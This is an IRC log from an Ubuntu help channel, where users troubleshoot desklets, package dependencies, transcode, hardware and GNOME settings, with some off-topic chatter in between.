aftertafthe desklets.. you mean nalioth ?10:55
nalioth|line: pan is the best10:55
aftertafkinda noticed, yeah :/10:55
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naliothaftertaf: yes the adesklets depend on things you dont have onboard and arent in the repos10:55
topyli|line: just run a client, connect to server, join some groups, get your pr0n :)10:55
ikkysguys. can i run centericq on gnome? as in on the desktop?10:55
naliothaftertaf: simple things, just not apt-gettable10:55
ekimus|line: including parted stuff (like only show complete files and stuff). just try pan it's really user friendly _and_ powerfull10:55
_mindspinI'll first have a try on compiling fwbuilder by myself10:55
aftertafhehe10:55
naliothikkys: try it10:55
ikkyshow? cuz im running it from a terminal window now10:56
|lineis pan pretty stable? last time i ran it it had problems with the larger groups10:56
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omp342i'm going to create a little website with a few guides (i'll add a guide everytime i help someone with something)10:56
omp342that way i won't have to go through all that trouble again :)10:56
|linecool omp10:56
aftertafomp342:  wiki ??10:56
|lineshoot us a link when its up10:56
aftertafcontribute to the grater good man ;)10:56
topyli|line: it gets better all the time, it's in active development10:56
NoUseomp342 yeah don't create a new site10:57
|linethx guys for help10:57
NoUse!wiki10:57
bjvhttp://konst.org.ua/data/programs/001/screenshots/006.gif10:57
omp342i wan't to create a new site because i have a hosting account lying around (not been used for months)10:57
bjvcentericq looks like a terminal app10:57
omp342and i always wanted something to do with it10:57
Madpilotomp342: edit or add to the wiki's pages10:57
omp342Madpilot: which wiki :P10:57
NoUseomp342 http://wiki.ubuntu.com10:58
omp342i don't even use ubuntu lol10:58
NoUseomp342 you'll be reinventing the wheel10:58
omp342this is going to be general linux stuff :] 10:58
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ekimusbjv: it is10:58
naliothomp342: why not add to the wiki?10:58
topylibjv: yes, it's a ncurses ui10:58
Madpilotso stick it in Ubuntu's wiki anyway - there's lots of general-Linux stuff in there10:59
omp342sure i'll add stuff to the wiki, but i'll also have it on a seperate site :)10:59
ekimusdamn eclipse is 100MB, and that's only the tarball10:59
nalioth|line: i use it everyday for large groups10:59
ekimusis there any smaller version around?10:59
omp342i'll just have it on a seperate site and in the wiki :)10:59
nalioth|line: i dont know anything else remotely user-friendly (without a huge learning curve)10:59
topyliomp342: it's still good to have some stuff on your own site, notes for yourself. i have one11:00
topyliomp342: doesn't mean you can't improve the wiki at the same time11:00
|lineim grabbing it now11:01
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omp342yep, just like i said, ill have it both in my site and the wiki11:01
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catfoxsorry all, i know this is OT, but i can't find anything to help me.11:01
|linekinda off topic.. but have you seen the pirate commercial on tv.. where all he can say is ARRR11:02
|linehilarous11:02
catfoxi'm trying to write a page which has a nested view, with it's own scrollbar, rather than using the browser's main scrollbar. i think it's css, not frames11:02
topyliomp342: my site has great looks. feel free to copy: http://siltala.net/comp/tips.html11:02
omp342|line: i've seen it11:02
kagameosthi, can i install ubuntu64 bit with root/home on diff partitions?11:02
|linecant remember the company though11:03
omp342me neither =/11:03
omp342topyli: i'm sort of a web designer :P11:03
|linei guess its not that good of an ad11:03
topyliomp342: i guess i'm not :)11:03
|lineomp can i pm you11:03
omp342sure11:04
thenukeheeey what's an easy firewall for a newbie, that firewall should then protect the LAN11:04
ekimuskagameost: yes, that shouldn't be of any issue no matter which architecture you use11:04
catfoxanyone have an idea?11:04
catfoxi think it's something to do with using css to make a nested box view. jimmac used to have one on his site11:04
Madpilotcatfox: http://www.cssplay.co.uk/index.html <-- check some of the layouts here out11:04
|linetry firestarter11:04
ekimusthenuke: shorewall, fwbuilde, docs schould be on netfilter.org (those are mainly for iptables, all of the other tools are just frontends to iptables)11:04
|linei used it for awhile i liked it11:05
ekimusthenuke: sorry fwbuilder11:05
|linepretty easy11:05
kagameosti know that  but someone told me that it couldnt be done on earlier versions and i'm dl the latest as we speek11:05
catfoxmaddler, i'll have a look. cheers!11:05
naliothkagameost: certainly you can11:06
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thenukeekimus: allright thank you11:06
nalioththenuke: http://software.newsforge.com/article.pl?sid=05/05/09/1846213&tid=78&tid=13011:06
kagameostgood:) thanks .. dont wanna loose  my stuff in /home:)11:07
thenukenalioth: thank you a lot too.11:07
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aftertafdoh: adesklets ./configure crashes here: configure: error: Could not find the readline library11:10
aftertaf!info readline11:10
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franco64hi is there anyone that can help me for a sec11:11
_mindspinlots maybe11:11
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franco64i have installed gDesklets on my system but it will not start up11:12
|linewhat can we do for you franco11:12
|linewhats the error?11:12
franco64no error11:12
topyliaftertaf: try libreadline4 (and -dev)11:12
franco64that's the problem11:12
topyliaftertaf: you might need libreadline-python or something as well11:13
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franco64it just starts showing on the panel and then just quits11:13
|lineits a daemon11:13
franco64yhep11:13
|lineyou need to run the config program11:13
topylifranco64: it's running, but you need to add some displays too11:14
omp342i just realized a slight problem :/11:14
aftertafcheers topyli11:14
omp342how am i going to make a website without photoshop :/11:14
|lineok try this11:14
|linegdesklets ~/desklets/mydesklet.display11:14
|linein console11:14
aftertafgimp11:14
franco64funy thing is that i used the synaptiuc package manager to totally uninstall and then reinstalled it11:14
omp342aftertar: yah, but i just started using linux so i'm not too good with gimp11:15
_mindspinomp342: photoshop? I use a text editor for websites11:15
topyliomp342: i never knew photoshop was a html editor :)11:15
|linerun that command and post the errors here11:15
omp342lol11:15
franco64i have also added loads of displays that came with synaptic11:15
omp342to create the template11:15
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aftertafomp342:  how come you know so much bout linux after 2 weeks? you housemates with torvalds??11:15
omp342i use photoshop to create the images, and notepad to code the site11:15
franco64|line: ok will do11:16
omp342aftertaf: i don't know that much11:16
omp342aftertaf: and since i use gentoo i learn a lot11:16
_mindspinomp342: gimp is not that difficult for average needs11:16
aftertafbest beginner i ever came accross!!11:16
_mindspinlike resizing, cut n paste11:16
aftertafahh gentoo... a bsd convert11:16
Madpilotomp342: who needs images just for web design? ;) http://www.warbard.ca/avgas  <-- one of mine, and only one tiny image in the design...11:16
jsgotangcoMadpilot, that css work is wicked11:17
Madpilotjsgotangco: thanks - that was the first pure-css site I ever built. fun stuff!11:18
ikkysguys, so i cant run centericq on gnome desktop as those transparencey kind programs?11:18
omp342Madpilot: i like to have logos as images (and sometimes table borders), but i'm going to create a simple site, so i'm only going to need to create a logo11:18
omp342oh well, i guess this is the perfect oppurtunity to start learning gimp :)11:18
aftertafcue Matrix......11:19
|linegimp is fun when you get the hang of it11:19
aftertaf"I know Kung-Fu"11:19
Madpilotomp342: start bashing away in the GIMP, it's not that hard - biggest problem I've had is remembering not to use the PS shortcuts...11:19
_mindspinogra:  play around11:19
sexcopter8000mis there an apt package for java runtime for firefox? i can see "java-common" will that do?11:19
Madpilot!tell sexcopter8000m about java11:19
franco64|line: this is what is get11:19
omp342i think i'll get photoshop running under WINE :)11:20
ntollok... whats the default user for postgresql on ubuntu?11:20
franco64You're running gDesklets for the first time.11:20
franco64gDesklets will start a requirements check now...11:20
franco64Checking requirements:11:20
franco64 - sys ... found11:20
franco64 - xml.parsers.expat ... found11:20
franco64 - xml.sax ... found11:20
franco64 - gtk ... found11:20
sexcopter8000mty Madpilot11:20
franco64 - ORBit ... found11:20
franco64 - gnome ... found11:20
franco64 - gconf ... found11:20
franco64 - gtkhtml2 ... found11:20
omp342stop spamming franco6411:20
franco64 - bonobo.ui ... found11:20
franco64Requirements checking done. Your system looks ok!11:20
Madpilot!tell franco64 about pastebin11:20
franco64You must NOT run gDesklets as super user (root).11:20
franco64oopps sorry11:20
franco64how do i use paste bin11:20
omp342you just go to pastebin.com11:21
omp342and poste it there11:21
omp342post*11:21
omp342and give the link to people11:21
ntollcan't seem to connect as either root, my own user or the user postgresql11:21
franco64ok sorry folks did not know that11:21
|lineare you logged in as root11:21
franco64apologies no spamming intended11:21
omp342i prefer http://rafb.net/paste/ over http://www.pastebin.com/11:21
aftertafs'cool.11:21
franco64will do this in just normal console11:21
aftertafany diference between adesklets and gdesklets?11:22
aftertafapart from spelling ;)11:22
omp342hmm i never heard of adesklets11:22
twibblerdoes anybody have any blue tooth setup knowledge with laptop and dongle?.11:22
|linetry this link copter11:22
|linehttp://plugindoc.mozdev.org/faqs/java.html#Linux11:22
franco64|line did get error message11:22
|lineyou can post in pm if you like11:23
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omp:)11:24
ompwhat shuold i use11:24
|line=)11:24
ompomp or omp342?11:24
|lineomp11:24
franco64|line look at the following error message11:24
franco64http://pastebin.com/34987911:24
_mindspinI must use _mindspin cause I forgot the passwd for mindspin haha11:24
naliothaftertaf: adesklets uses imlib and python, not sure what gdesklets uses (wont work for me)11:25
pprince__mindspin: you can ask a services op for help with that.11:25
_mindspinand where can I find one?11:25
nalioth_mindspin: go to #freenode and ask11:25
|linethat looks like a dev thing then franco11:26
_mindspinhanks11:26
ompokay11:26
ompi just registered omp with nickserv :)11:26
topyliwhat does it mean when cdrecord fails, saying "cdrecord: Trying to use ultra high speed medium on improper writer."11:26
|linei would reccomend mailing the devs with that error11:26
topylii do have an "ultra-speed" cdrw here11:27
franco64any ideas would be greatrfull11:27
topylii'll see if i can find another disk11:27
ompi never got a reply from opera.. i'm thinking it was a scam =o11:28
|linetop it may be detecting the media improperly11:28
topylihmm. here's the cdrw with my backups. that's pretty useless, i'll try that one :)11:28
|linehuh?11:29
auraxanyone here got sata raid working ?11:29
topyli|line: i just wrote a disk yesterday with success11:29
auraxraid111:29
|lineyah but not that disc exactly11:29
topyli|line: yes i did11:29
|lineok.. wel im stumped11:29
topyli|line: i mean this backup disc, not this new one of course11:29
topylii'm just trying to comprehend what this ultra-speed disk-fu is about11:30
|linefrom what i understand the media is greater than 16x11:31
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ompdoes anyone here use googletalk?11:31
topyli|line: it does say 16-24x. my writer says 10x for rw :(11:31
|lineprobably it11:32
|lineyou can try -force but it wont always work11:32
topylishit. now there's even incompatible cdrw's. what next?11:32
Digishi, I have a problem, even with root I cant read (even ls -al), a lot of files from etc, for example /etc/services..11:32
|linewhat is your burner11:33
topyli|line: seems to be an LG dvd/cdrw11:33
ompsomeone write stomp and click enter11:34
topyli|line: 32x10x4011:34
topylii need a smoke11:34
pprince_omp: Ok, I wrote "stomp" on a sticky note, but I can't figure out how to use the mouse to click the enter key.11:34
omp:P11:35
pprince_:P11:35
ompsomeone write stomp her11:35
omphere11:35
pprince_stomp11:35
ompyay11:35
ompits not red :)11:35
ompi thought having the word "omp" in it, might make it seem like someone is messaging me11:35
pprince_My normal nick is tweakism.  I also have it hilight tweak, a common shortcut for people in the dark ages before tab complete.  I have to turn it off for #ubuntu and *especially* #gentoo, though :P11:36
|lineomp:11:36
omp|line is sending me invisible messages =o11:36
|linelol11:36
|linewondered if it would be red for you11:36
topyliomp: not what would suck. people do speak about cOMPuters here :)11:36
omp:)11:37
topyli*now that...11:37
pprince_heh, how often do you see someone type out "computer" here?  I bet box, machine, pc, laptop, desktop, etc are much more common.11:37
|linewe should all type computer11:37
ompi have a computer11:37
ompin fact, i have 4 computers :P11:37
|linei love my computer11:37
ompi love mine too11:38
topylihelp! my computing environment is going inconsistent!11:38
pprince_hmm, I did /last computer.  I was wrong:11:38
pprince_-!- Irssi: /LASTLOG would print 4523 lines.11:38
pprince_and that's just from this evening.11:38
|linemight even buy a new computer to compute why i need a new computer to do the computing of whether i was right11:38
ompi still don't know why i come into this room =] 11:39
ompchannel11:39
ompor w/e you want to call it :)11:39
|linecuz its fun11:39
ompyah, but i don't even use ubuntu lol11:39
|lineme either11:39
ompwhat do you use?11:40
|linesuse 9.311:40
ompoh11:40
|lineyou11:40
topylispit it out, you have xp11:40
ompgentoo11:40
pprince_I use Winders, the win32-compatible OS from the hills of West Virginia.11:40
ompi'm going to install xp soon (on another partition, of course)11:40
Madpilotgood night/morning/$time_of_day, everyone. need sleep...11:40
ompgood night :P11:40
omp2:41 am =o11:41
topyliwhere are all the newbies? i want to help somebody before i break this thing with the breezy upgrade11:41
pprince_Good $GREETING_TIME, $FULL_NAME!11:41
topylibut now out for smokes11:41
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pprince_topyli: heh, need to build up a karma reserve? :P11:41
|linei prefer 2k over xp11:41
|linexp is so bloated11:41
ompthe only reason i need xp11:41
ompis for my11:41
pprince_I actually prefer 98 out of all of them.11:41
ompSTEAM! :)11:41
ompit doesn't want to run on cedega11:41
topylipprince_: that's right. i already checked the moon, and i have a dead chicken here11:41
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pprince_topyli: Well, you've done all you can.  Best of luck.11:42
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|linewhy wont it run11:42
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omp:P11:42
bjvwasnt wine under the gpl?11:42
ompbjv: yes11:42
bjvhow does transgaming do their bullshit with wine code then?11:42
pprince_wine sucks, but perhaps less than windows itself.11:42
bjvbecause their cvs != their for $$ binary11:42
|linethey offer cedega in cvs11:42
ompbjv: well, cedega cvs is free11:43
|linebut not rpm11:43
bjvthere is no code for the binary11:43
ompeither way11:43
ompcedega is free for me :P11:43
ompi have a buddy called bittorrent11:43
|lineare there any good gtk based rar tools11:43
omp|line: i have one but i forgot what it's called :P11:44
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ookiihey i'm having a problem with transcode not being able to find lame even though i just installed it, can anyone help me out?11:44
bjvomp: i might know exactly what you mean..11:44
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|linei hate having 25 rars and doing it all by command line11:44
bjvit's still bullshit that GW running in cvs and full cedega doesnt work the same.11:44
omp|line: i had one that added rar support to Archive Manager11:44
omp|line: but i forgot what its called :/11:44
|linegw?11:44
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bjvand that all the source i downloaded from the cvs was 3+ months old.11:44
bjvguildwars11:45
ompehh11:45
ompi just play cs:s11:45
omp:)11:45
catfoxanyone know where postfix stores its user mail?11:45
ompsince i'm an administrator at a cs:s community, it's plenty of fun :)11:45
Belutzhow to enable built-in memory card reader in ubuntu?11:45
|line/usr/mail?11:45
bjvomp: eh, i got hooked on infiltration for unreal before i played CS11:46
|linewhat kind of reader is it bel11:46
bjvand UT runs fine under the cvs. :P11:46
|linei still like team fortress11:46
|linedie too much in source11:46
ompbjv: the only games i ever got hooked on were: diablo 2, cs, cs:s11:46
|linecs:s i mean11:46
Belutz|line: 0000:02:04.1 FLASH memory: ENE Technology Inc CB710 Memory Card Reader Controller11:46
Belutz|line: that's what i get from lspci command11:47
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nalioths_dog#ubuntu-offtopic11:47
ompi played diablo 2 only for a few months though11:47
bjvD2 was madness. i used to be such a freak.11:47
ompi've been playing cs and cs:s for a few years now (probably 4-5)11:47
catfoxany ideas, anyone?11:47
ompand i'm still not bored of it11:47
omp:)11:47
bjvlol, same story with me and infiltration11:47
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bjvthere is some work to port it to HL2 actually.11:47
ompbut for some reason, i can never play cs:s in any server11:47
ompi can only play it in one server or i feel weird11:48
ompbecause i've been a member of some cs community for about 2 years now (im an admin there now)11:48
ompand i know everyone there11:48
ompand it feels akward playing with strangers on other servers11:48
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bjvinfiltration is way-way underground so we dont really have that problem11:48
johntramphas anyone here been able to get picard to run?  https://musicbrainz.helixcommunity.org/11:48
bjveven if i play on one of the 2-3 euro servers i still know half the guys.11:48
nalioths_dog this is bloody gobbets for #ubuntu-offtopic11:49
pprince_johntramp: heh, I was just looking at that (for the first time) this morning.11:49
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johntramppprince_, it looks good11:49
ompbjv: lately i've only been playing PPRacer and SuperTux. :)11:49
ookiican anyone help me with a dependency that isn't working for some strage reason?11:49
catfoxdoes anyone know where postfix stores its user mail, please?11:49
|lineI don't think that getting the card reader working is going to be hard to do. First of all, it looks like TI1250 devices have been supported since 2.4.18 kernels ie that is RH8 vintage, 2 years ago.11:49
Seveazbjv, omp, take this off topic discussion elsewhere please11:49
Digiscatfox, /var/mail...?11:49
Seveazookii, paste the complete error at the pastebin11:49
ompSeveaz: okay, sorry :)11:49
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pprince_/var/spool/postfix11:50
StrikeForcethis spam is unbelievable11:50
nalioths_dogi barked twice as a gentle reminder, fellas11:50
SeveazStrikeForce, /umode +CE11:50
ookiiSeveaz: done11:50
Belutz|line: so what should i do?11:50
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ompStrikeForce: if /umode +CE doesn't work do  /mode yournamehere +CE11:50
|lineim looking into it11:50
|linei'll post here in a bit what i find11:51
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StrikeForcethanks11:51
Seveazookii, where?11:52
Belutz|line: ok, thx11:52
naliothdamned adesklets don't work either11:52
ookiiSeveaz: http://pastebin.com/34988911:52
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deFrysk! evince11:53
ubotuNot a clue, deFrysk11:53
onkarshinde!evince11:53
ubotuBugger all, i dunno, onkarshinde11:53
nalioths_dog!info evince11:53
ubotuevince: (Document (postscript, pdf) viewer), section universe/gnome, is optional. Version: 0.1.9-0ubuntu1 (hoary), Packaged size: 189 kB, Installed size: 788 kB11:53
naliothall that work for practically nothing11:54
Seveazookii, what are you compiling?11:54
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StrikeForcethanks for that11:54
ookiiSeveaz: transcode, and i just complied lame from souce11:55
Phr0stByteHi all11:55
StrikeForcebecause I had 30-40 pms about sex :)11:55
Seveazookii, transcode debs -> seveas.ubuntulinux.nl :)11:55
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ookiiSeveaz: Thanks, here's hoping!11:56
aftertafnalioth: configure: error: Cannot find imlib2: Is imlib2-config in the path?11:56
Seveasaftertaf, imlib2-dev11:56
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nalioths_dogaftertaf, install imlib2 and its -dev via your favorite apt-get tool11:57
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ookiiSeveas: No dice! The following packages have unmet dependencies:, and then it goes on how to say they aren't installable11:58
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Seveasookii, paste the complete output on the pastebin :)11:59
unvs_which vnc-server would you recommend?11:59
ookiiSeveas: http://pastebin.com/34989411:59
naliothseems i'm not meant to have *desklets of any kind12:00
naliothaftertaf: better luck to you12:00
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naliothaftertaf: you also have gdesklets and superkaramba to use, if you didnt know12:00
Seveasookii, enable multiverse12:00
aftertaftrying.... :)12:00
simethere is only one mirror of colony 3 right ?12:01
aftertaf!info imlib212:01
aftertafi dont have it in apt...12:01
aftertaf:/12:01
Seveasookii, multiverse also has packages for lame ;)12:01
ookiiSeveas: whats that? :-p12:01
Seveas!tell ookii about repos12:01
Seveasaftertaf, libimlib2-dev - Imlib2 development files12:02
Seveasyou need that package12:02
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|lineok yah about the card reader there is no support for it currently that i can locate12:03
aftertafgotcha Seveas cheers mate ;)12:04
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ookiiSeveas: looks like it worked, do you think i should get rid of the lame i compiled from source and get the one from apt?12:05
ookiiSeveas: it did download some liblame0 stuff for itself12:06
Seveasookii, yes I think you should :)12:06
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ookiiSeveas: ah, a refresher on how to do that, make remove?12:06
Seveasmake uninstall12:07
osfameronheh, my OOo borks on spreadsheets generated with Spreadsheet::WriteExcel...12:07
Seveas(if you are lucky)12:07
osfameronuseless piece of crap12:07
Seveasotherwise: find the files it installed yourself12:07
|lineyah uninstalling is a pain in linux12:07
|lineunless you used packages12:07
ookiilooks like it worked, it was from souce12:08
ookiisource12:08
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|linewell speak of the devil12:08
|linelol12:08
aftertaflol12:08
nalioth|line: may i suggest you use "checkinstall" instead of "make install" when you compile your own code12:08
theD3viLwtf? :P12:08
nalioth|line: checkinstall makes debs for easy pkg maintenance12:09
|lineyah you can nalioth12:09
|linecan alien take debs and make rpms12:09
|lineim in Suse12:09
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ookiiSeveas: i'm actually trying to install tovid, but it's not on the apt list, and has some dependencies I don't know if I can find12:10
Seveasookii, such as?12:10
Seveas|line, no it cannot12:10
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Seveas|line, strike that, it can12:11
Seveasalien --to-rpm filename.deb12:11
ookiiSeveas: yuvfps,mpeg2enc,mp2enc,mplex,lsdvd,normalize12:11
|lineanyone know what would cause the soundserver to sometimes work and sometimes not.. occasionaly it will report another event but im using esd sound so 2 events should be fine right?12:11
cafuego_!find yuvfps12:12
Seveasyuvfps - no12:12
|linecool so i can use checkinstall and make debs to rpms12:12
ubotuUbuntu Search of 'yuvfps' (1 shown): (/usr/bin/yuvfps) in multiverse/graphics/mjpegtools.12:12
Seveasmp*enc - mencoder maybe12:12
|linethats awesome12:12
nalioth|line: yes, alien works both ways on many formats12:12
cafuego_Seveas: yuvfps - yes12:12
Seveascafuego_, hmm :)12:12
nalioth|line: no, you can use checkinstall to make rpms12:12
cafuego_mpeg2enc is in mjpegtools too12:12
|lineeven better12:12
cafuego_!find lsdvd12:12
Seveasah yuvfps - package mjpegtools12:12
nalioth|line: checkinstall makes debs, rpms and tgzs (or something)12:12
ubotulsdvd: (read the contents of a DVD), section multiverse/utils, is optional. Version: 0.10-0.0 (hoary), Packaged size: 9 kB, Installed size: 72 kB12:13
|lineis checkinstall already in most distros12:13
nalioth|line: read the manpage for it12:13
nalioth|line: i was surprised to find it in ubuntu, in the past i've had to compile it myself12:13
theD3viLhow to activate multimedia keys on my logitech keyboard?12:13
Seveas!find normalize12:13
ubotunormalize-audio: (adjust the volume of WAV files to a standard volume level), section universe/sound, is extra. Version: 0.7.6-4 (hoary), Packaged size: 51 kB, Installed size: 200 kB12:13
Seveasmp2enc - also mjpegtools12:13
ookiiwow mjpegtools was everything but lsdvd and normalize12:13
NgtheD3viL: there's a keyboard shortcut manager in the Preferences menu12:14
theD3viLNg, thnx12:14
|linehttp://ubuntuforums.org/showthread.php?t=2703912:14
Seveasookii, hint: apt-file search12:14
ookiiSeveas: I have normalize-audio, but it wants normalize as well (has entries for both of them)12:14
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|linethat should help with your keyboard12:14
|linenite omp12:14
cafuego_!find bin/normalize12:14
Seveasdennis@blackbird /var/www/deb $ apt-file search yuvfps12:14
Seveasmjpegtools: usr/bin/yuvfps12:14
ubotuUbuntu Search of 'bin/normalize' (1 shown): (/usr/bin/{normalize-audio|normalize-mp3|normalize-ogg}) in universe/sound/normalize-audio.12:15
Ngalong the floor? ;)12:15
ookiiSeveas: you mean apt-cache search, or a website?12:15
Ngmischan :/12:15
Seveasookii, no, the apt-file command :)12:15
Seveassudo aptitude install apt-file12:15
cafuego_probably symlink 'normalize' to 'normalize-mp3'12:15
Seveassudo apt-file update12:15
Seveasapt-file search normalize12:15
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ookiiSeveas: oh, so apt-file is better12:16
Seveasapt-file searches for files instead of package names12:16
Seveasit's different, not per se better12:17
ookiiSeveas: so i'm looking for a file in one of these packages called normalize, like the acl2-books package has a "normalize.o"12:18
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DjKriticalI'm getting "Unable to open printcap file /etc/printcap for read!" in my samba error logs.. All I did was install it.. shared a folder.. and tried to connect from a windows box12:21
DjKriticalAnyone got any ideas? =)12:21
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ookiiWell I searched for normalize and grepped usr/bin and nothing seems to put a file just called normalize in the /usr/bin12:24
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ookiiThere is only one match on apt-get.org and it's for: Woody and sarge repositories for gnuLinEx, the Extremadura distro based on Debian installed in more than 70.000 computers in this region's high schools12:26
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penticlexdude has any one tried 3ddesk its sooooo cool12:27
hubsi_hello together :D12:27
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Seveaspenticlex, and soooooooooooooo buggy :)12:30
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DjKriticalI saw that.. looks like it will be impressing a lot of people one day =)12:31
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penticlexI created a link on my panel and it works great12:32
penticlexcant remember how to change the buttons on my mouse12:33
penticlexI might be thinking of kde though12:33
ookiiSeveas: So looks like I'm out of luck eh? Doesn't seem to be anything out there just called 'Normalize'12:33
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nalioththese damned damned bots12:36
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spafbnerfj #ubuntu-dev12:38
spafbnerfwhups12:38
spafbnerfhi folks12:38
naliothholy macaroni, it's 537 in the morning12:39
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Seveasookii, there is (was a bit bus )12:40
Seveasbusy*12:40
pprince_huh.12:40
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ookiiSeveas: oh no problem, i don't want to be pushy or anything,  you are doing a great free service!12:41
pprince_so far, every DRM/etc thing that I would care about has been cracked.  because they're designed in various retarded ways.12:41
naliothbrb12:41
naliothquit12:41
deFrysk /12:41
naliothquit even12:41
pprince_But what happens when MS finally comes out with a good one?  I mean, it can't be too hard to make it online and using strong crypto.12:41
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pprince_That's going to suck.12:41
Seveasookii, install normalize-audio, it will create symlinks named 'normalize'12:42
ookiiSeveas: I did though, off apt too12:42
jsgotangcobrb12:42
_mindspinis there a way to backport a breezy package to hoary?12:42
Seveas_mindspin, sure12:43
_mindspinany howto for that purpose?12:43
Seveasadd a deb-src for a breezy package, apt-get source it and debuild it12:43
ookiiSeveas: I guess if anyone has that symlink on their system, I could just copy it to mine12:43
pprince_you can't really copy a symlink.  the only info it actually contains is the name of a hardlink it symlinks to :P12:44
pprince_unless that's you meant.12:44
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tombshi ppl12:44
pprince__mindspin: You can hope it's in ubuntu-backports :P12:44
Seveasookii, sudo ln -s /usr/bin/normalize-audio /usr/bin/normalize12:44
_mindspinafter I did that it makes sense to uninstall existing hoary packages?12:44
Seveasthat should work12:44
Seveas_mindspin, no, it will overwrite :)12:44
penticlexdoes any one know how to change the mouse button options12:44
_mindspincool12:44
Seveas_mindspin, what are you trying to backport?12:45
_mindspinfwbuilder12:45
Seveaspenticlex, probably in /etc/X11/xorg.conf12:45
_mindspincompiling from source did not work :-(12:45
Seveas_mindspin, hang on, if it's an easy backport i'll have it in a secind12:45
ikkysguys, where do i go to configure options to hibernate the pc? is it possible?12:46
Seveasargh, recursive dependencies...12:46
_mindspin:-(12:47
Seveastakes a few minutes more :)12:47
penticlexnope not there12:47
_mindspin;-)12:47
Seveashmm12:47
Seveaslooks like it wants a newer QT than hoary has12:48
Seveasso no luck12:48
_mindspin##ck12:48
ookiiSeveas: weeeeeeeeeeee it worked, and you probaly saved me a bunch of other trouble by helping me with the apt repositories, thanks a bunch12:48
penticlexthere is also alien if you want a rpm that no one has made a deb yet12:50
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penticlexalien rules12:50
theD3viLhow to ping my self? open terminal and write ping www.google.com dont work12:50
theD3viLoh... works ;)12:51
penticlexping 127.0.0.112:51
penticlexthat is you12:51
theD3viLpenticlex, yes i know12:51
penticlexlocalhost12:51
bluesceadatheD3viL: ping 127.0.0.1 ...12:51
bluesceadaping localhost12:51
theD3viLbut i want to ping... hm12:51
theD3viLnot me... but12:51
theD3viLother page..12:51
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theD3viLanyone know how to activate my infrared?12:53
penticlexany one know how to change buttons on mouse want scrole to open an app12:53
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theD3viLpenticlex, what do you want '12:54
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pprince_Dewey, Cheatem & Howe Attorneys at Law12:54
penticlexI want to change a button on my mouse to open an aplication or at least another menue kde is easy I did it earlier I just like gnome better its more stable12:55
ikkysguys, where do i go to configure options to hibernate the pc? is it possible?12:55
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Xanthus7anyone on12:56
Seveasikkys, what options do you need? Hibernate is hibernate...12:56
ikkysyes hibernate/standby12:56
ikkysso just type on the terminal?12:56
Xanthus7I cannot get my sound to work in12:56
Xanthus7audigy2 sound card12:56
Seveas!audigy12:57
ubotusomebody said audigy was muted by default in Ubuntu. To unmute, type alsamixer and find Audigy Analog/Digital Out. Select it and press M to unmute. Then type sudo alsactl store to save your settings.12:57
Seveasikkys, yeah12:57
Seveasor close the lid12:57
Seveasor whatever you set to hibernate :)12:57
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osfameronoh, how to you set close lid to hibernate?12:58
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naliothanyone have a good auto identify script?12:59
osfameronMine just parks the disk when I close disk.  Still need to press Sleep button to get it to sleep12:59
ikkysseveas, hibernate, command not found12:59
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ikkysseveas01:04
ikkysu there01:04
Xanthus7ok next question ubuntu does not have a trash so when you delete something it just delets01:04
ikkysXanthus7, thers is a trashcan01:05
Xanthus7I don't have one on my desktop in fact I have nothing on my desktop01:05
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Xanthus7so when I installed did something not insta;;01:07
Xanthus7install01:07
ikkysgnome or kde?01:07
Xanthus7gnome01:07
osfameronbottom-right hand corner?01:08
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ikkystry right click and add a pane->trashcan01:08
Xanthus7Sorry I am use to fc401:08
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Xanthus7but looking over this version of linux looks like it will do stuff I cannot get doen in fc401:09
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Xanthus7does ubuntu use rpm's or debian01:10
Belutzhow can i modify the bash prompt so it will show belutz@host:/home/belutz$ instead of belutz@host:~$  ?01:10
Belutzi can modify it using tcsh, but how to do that in bash?01:10
BelutzXanthus7: ubuntu use debian01:11
ikkysXanthus7, eveything same, just different method doing the same old things i guess, but trash can should be there by defaut aint it?01:11
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funkyHat:( no gstreamer dev package in repositories?01:12
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osfameronyeah, trash is there by default but a) not on desktop, b) the icon doesn't look much like a trash cen :-)01:13
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marcin_anthi all01:14
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ekimushi, anybody knows wether it's necessary to have a kernel image in the cloop image of the live cd?01:15
sexcopter8000mcan anyone suggest a programme for editing mp3 ide tags?01:15
marcin_antanybody knows which package has misc-fixed font in breezy?01:15
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marcin_antsexcopter8000m, easytag01:15
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Dingydo anyone know while dosfsck does this when I try to check my usbdrive? dosfsck 2.11, 12 Mar 2005, FAT32, LFN01:15
DingyCurrently, only 1 or 2 FATs are supported, not 191.01:15
sexcopter8000mmarcin_ant: ty01:16
ekimusDingy: because the fs version is not supported? (like the message says)01:16
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Dingyekimus, yeah, let me rephrase then, is there anyway to do a diskcheck despite those shortcomings?01:17
Dingyit's pretty weird01:17
Dingywindows can't find any errors01:17
Dingybut linux tells me that something is wrong quite often01:18
ekimusDingy: and what does it tell you? maybe the fs is ok but it's something different01:18
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Dingyeh, can't recall the exact message01:19
Dingysomething about a cluster misbehaving01:19
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osfameronsmack its bottom!01:19
ekimusDingy: a correct error message is half the solution01:19
fluffybunny_what was that #ubuntu unreg thing about?01:20
naliothfluffybunny_: unregistered users are sent there01:20
ekimusfluffybunny_: there was a spam attack. you need to register to be able to join #ubuntu01:20
naliothfluffybunny_: keeps most of the damned pR0nbot annoyances out of here01:20
fluffybunny_ah!01:20
funkyHat:( and users who's chat clients don't identify quick enough :(01:20
Xanthus7how do I find my kernal version01:20
Seveasthe spam attack is still going01:20
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osfamerondon't spambots know how to register?01:21
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ekimushmm well i don't get any new messages now so for me it's over :)01:21
naliothSeveas: yes, it seems someone has a few bots too many, eh? lol01:21
fluffybunny_I'm having a problem with some of my screensavers - some of them run really slowly, and I think i probably don't have all the right video drivers installed? what do I do?01:21
naliothosfameron: you'd better hope they dont learn01:22
ikkysok, how do i recompile kernel to support APM01:22
Xanthus7What is the command to find my kernal verson01:22
ekimusXanthus7: uname -a01:22
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ekimusikkys: kernel howto on tldp.org is quite good01:23
Xanthus732 2.6.10-5-386  this is the kernal01:24
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ekimusXanthus7: 1.) it's "kernel" 2.) if uname -a tells you that than it should be right, but i doubt you have version 32 of a linux kernel01:25
ikkysthx ekimus01:25
Xanthus7I want to get the ati drivers01:26
Xanthus7what found was I need the kernal name01:26
Seveas!tell fluffybunny_ about bindrivers01:26
ekimusXanthus7: search the wiki for DRI01:26
Seveasf* bad factoid01:26
Seveasfluffybunny_, which videocard?01:26
ekimusXanthus7: kern_e_l01:26
osfameronnalioth, heh, pwntcha is getting pretty powerful, good if it's not mainstream yet :-)01:27
ekimusXanthus7: it's "e" not "a"01:27
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Xanthus7ati 9600 xt radeon01:27
fluffybunny_Saveas: radeon01:27
fluffybunny_i mean Seveas: radeon01:27
